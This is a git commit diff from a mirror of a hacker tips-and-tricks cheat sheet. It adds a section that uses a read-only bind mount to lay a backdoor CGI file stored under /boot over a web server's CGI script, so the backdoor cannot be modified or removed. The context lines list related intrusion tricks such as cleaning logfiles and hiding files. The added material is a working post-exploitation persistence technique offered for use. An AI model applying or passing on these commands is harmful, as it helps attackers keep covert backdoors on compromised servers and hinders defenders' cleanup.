mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-05-28 02:02:25 +02:00
Update README.md
This commit is contained in:
@@ -79,6 +79,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
|
||||
1. [Restore the date of a file](#restore-timestamp)
|
||||
1. [Clean logfile](#shell-clean-logs)
|
||||
1. [Hide files from a User without root privileges](#shell-hide-files)
|
||||
1. [Make a file immutable](#perm-files)
|
||||
1. [Crypto](#crypto)
|
||||
1. [Generate quick random Password](#gen-password)
|
||||
1. [Linux transportable encrypted filesystems](#crypto-filesystem)
|
||||
@@ -1679,6 +1680,16 @@ mkdir $'\t'
|
||||
cd $'\t'
|
||||
```
|
||||
|
||||
<a id="perm-files"></a>
|
||||
**8.v. Make a file immuteable**
|
||||
|
||||
This will redirect `/var/www/cgi/blah.cgi` to `/boot/backdoor.cgi`. The file `blah.cgi` can not be modified or removed (unless unmounted).
|
||||
```sh
|
||||
# /boot/backdoor.cgi contains our backdoor
|
||||
touch /var/www/cgi/blah.cgi
|
||||
mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
|
||||
```
|
||||
|
||||
---
|
||||
<a id="crypto"></a>
|
||||
## 9. Crypto
|
||||
|
||||
Reference in New Issue
Block a user